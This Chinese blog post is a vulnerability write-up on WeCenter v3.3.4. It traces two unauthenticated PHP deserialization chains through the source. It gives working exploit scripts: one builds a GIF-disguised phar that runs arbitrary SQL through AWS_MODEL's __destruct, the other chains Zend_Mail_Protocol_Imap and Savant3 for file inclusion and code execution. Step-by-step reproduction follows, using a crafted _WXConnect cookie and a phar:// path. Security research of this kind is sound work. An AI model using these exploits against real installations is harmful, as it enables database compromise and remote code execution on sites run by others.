WeCenter v3.3.4 多个前台反序列化漏洞挖掘
第一个方式:反序列化挖掘任意SQL语句执行
先 system/aws_model.inc.php 文件中 _shutdown_query 为可控点,并且query直接进行SQL语句,这里可以直接想到尝试利用反序列化进行利用
public function __destruct() { $this->master(); foreach ($this->_shutdown_query AS $key => $query) // _shutdown_query可控点 { $this->query($query); //无过滤进行执行SQL语句 } }
寻找phar反序列化触发的函数
models/account.php
<?php public function associate_remote_avatar($uid, $headimgurl){// 需要寻找$headimgurl可控的地方 if (!$headimgurl){ return false; } if (!$user_info = $this->get_user_info_by_uid($uid)){ return false; } if ($user_info['avatar_file']){ return false; } if (!$avatar_stream = file_get_contents($headimgurl)){ //这个地方能够进行触发phar反序列化 return false; } ...
app/account/ajax.php 中 调用了associate_remote_avatar函数
public function synch_img_action(){ $users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000); foreach ($users as $key => $value) { $wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL'); // 在users_weixin表中进行取出,条件是:函数将没有头像并且存在headimgurl字段的用户 if($wxuser){ $this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']); } } }
寻找关于users_weixin的数据库的插入操作
models/openid/weixin/weixin.php 中调用了 bind_account函数,对用户的信息进行写入users_weixin中
<?php public function bind_account($access_user, $access_token, $uid, $is_ajax = false){ if (! $access_user['nickname']){ if ($is_ajax){ H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录'))); }else{ H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录')); } } if ($openid_info = $this->get_user_info_by_uid($uid)){ if ($openid_info['opendid'] != $access_user['openid']) { if ($is_ajax){ H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定'))); }else{ H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定')); } } return true; } $this->insert('users_weixin', array( 'uid' => intval($uid), 'openid' => $access_token['openid'], 'expires_in' => (time() + $access_token['expires_in']), 'access_token' => $access_token['access_token'], 'refresh_token' => $access_token['refresh_token'], 'scope' => $access_token['scope'], 'headimgurl' => $access_user['headimgurl'], 'nickname' => $access_user['nickname'], 'sex' => $access_user['sex'], 'province' => $access_user['province'], 'city' => $access_user['city'], 'country' => $access_user['country'], 'add_time' => time() )); return true; }
全局搜索 bind_account 函数的调用
app/m/weixin.php
<?php public function binding_action(){ if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){ $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); // _WXConnect是Cookie中进行的,那么_WXConnect为可控 导致 $WXConnect 同样可控! } if ($WXConnect['access_token']['openid']){ $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id); // 这里进行了调用 HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true); if ($_GET['redirect']){ HTTP::redirect(base64_decode($_GET['redirect'])); }else{ H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/'); } }else{ H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']); } }
漏洞EXP:
<?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)"; } } $a = new AWS_MODEL; $phar = new Phar("1.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt","123"); $phar->stopBuffering(); ?>
复现:
1、首先先上传phar格式的gif文件
2、然后设置指定的 wys__WXConnect
Cookie,进行绑定信息 访问`/?/m/weixin/binding/
$arr = array(); $arr['access_token'] = array('openid' => '3'); $arr['access_user'] = array(); $arr['access_user']['openid'] = 3; $arr['access_user']['nickname'] = 'admin'; $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200413/07b79296630214ae808f5f888da82fff.gif'; echo json_encode($arr);
3、最后再访问/?/account/ajax/synch_img/
来触发phar反序列化
第二个方式:反序列化挖掘前台RCE
全局搜索function __toString(
尝试找到可利用的点,system/Savant3.php中
跟进 getOutput 方法
继续跟fetch方法
跟到 template 方法中
跟进findFile方法中,发现$path . $file
两个变量进行了拼接,并且如果文件存在的话 则进行返回
最后拼接的内容 返回到 fetch 方法中,进行文件包含
这里可以进行控制的 __config[$type . '_path'] __config['template'] 两个属性
那么就是如果能再找到触发该类Savant3中的__toString方法的话 那么就可以进行任意代码执行了
继续全局搜索function __destruct(
是否存在触发任意类的__toString条件
system/Zend/Mail/Protocol/Imap.php 中 存在
class Zend_Mail_Protocol_Imap { ........ public function __destruct() { $this->logout(); } ........ }
一直跟 发现 sendRequest方法进行了拼接字符串,从而导致可以进行__toString触发,++操作符对对象类型无影响,这里的话 $this->_tagCount 能够控制!
漏洞EXP:
<?php class Savant3{ protected $__config = array(); function __construct(){ $this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg'; //尝试被包含的上传文件 $this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/"); //要被包含的路径 二者进行拼接 } } class Zend_Mail_Protocol_Imap{ protected $_socket; protected $_tagCount; function __construct() { $this->_socket = 'a'; $this->_tagCount = new Savant3(); } } $obj = new Zend_Mail_Protocol_Imap(); $filename = "exp.phar"; $phar=new Phar($filename); $phar->startBuffering(); $phar->setMetadata($obj); $phar->addFromString("a","b"); $phar->stopBuffering(); ?>
phar触发点跟上面还是一样的!
另一处触发Savant3类的__toString的方法,跟一次酒馆师傅的,同样是字符串拼接触发的,他文章中还有一处是自己挖的类似的RCE触发,就不写了
这里就记录一处POP链
这里同样是搜索全局function __destruct(
system/Zend/Mail/Transport/Smtp.php 文件中的 __destruct
还有一处同样也是,参考文章:https://www.cnblogs.com/xiaozhiru/p/12345450.html
总结:现在跟起来挺轻松理解的,自己尝试挖起来还需要耐心观察
参考文章:https://xz.aliyun.com/t/7077
参考文章:http://www.yulegeyu.com/2020/01/22/WECENTER-反序列任意文件包含利用链/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY